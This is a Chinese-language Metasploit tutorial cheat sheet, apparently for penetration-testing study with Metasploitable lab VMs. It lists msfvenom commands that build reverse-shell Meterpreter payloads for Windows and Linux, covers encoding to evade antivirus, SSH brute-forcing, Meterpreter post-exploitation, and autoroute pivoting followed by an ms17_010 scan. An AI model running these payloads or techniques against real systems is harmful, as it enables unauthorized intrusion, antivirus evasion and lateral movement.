基本介绍
Metasploit模块划分
MSF是渗透测试领域最流行的渗透测试框架,它有以下几个模块:
辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
后渗透攻击模块 (Post),用于内网渗透的各种操作;
编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);
所有模块位置:/usr/share/metasploit-framework/modules/
渗透步骤(Exploit)
1 | search xxx #搜索某个漏洞 |
参数摘要
1 | reload_all #从目录重载所有模块 |
使用辅助模块(Auxiliary)
端口扫描
1 | use auxiliary/scanner/portmap/portmap_amp |
服务扫描
1 | auxiliary/scanner/ssh/ssh_login #SSH爆破 |
攻击载荷和编码(Payloads && Encoders)
MSF可以用以下方式,生成payload和编码
1 | use windows/meterpreter_reverse_http |
但是我个人更喜欢用msfvenom
生成shellcode
然后编码免杀。
Windows
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe |
Linux
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf |
监听反弹shell
1 | msf5 > use exploit/multi/handler |
Meterpreter用例
刚获得Meterpreter Shell
时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
1 | getpid #查看当前Meterpreter Shell的进程号 |
命令摘要
1 | pwd、ls、cd |
后渗透模块(Post)
1 | run post/windows/gather/checkvm #检查目标是否虚拟机 |
MSF官方后渗透模块参考:https://www.offensive-security.com/metasploit-unleashed/post-module-reference/
网络穿透
拿到反向shell之后,获取目标网络信息
1 | meterpreter > run get_local_subnets |
使用autoroute
模块添加路由
1 | meterpreter > run autoroute -s 10.0.0.0/255.0.0.0 |
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了
添加完成后使用ms17_010的扫描脚本进行目标内网的扫描
MSF靶机
Metasploitable2:
下载地址:https://sourceforge.net/projects/metasploitable/
官方教程:https://metasploit.help.rapid7.com/docs/metasploitable-2
Metasploitable3:
下载地址:https://github.com/rapid7/metasploitable3/
视频教程演示:https://www.youtube.com/playlist?list=PLZOToVAK85MpnjpcVtNMwmCxMZRFaY6mT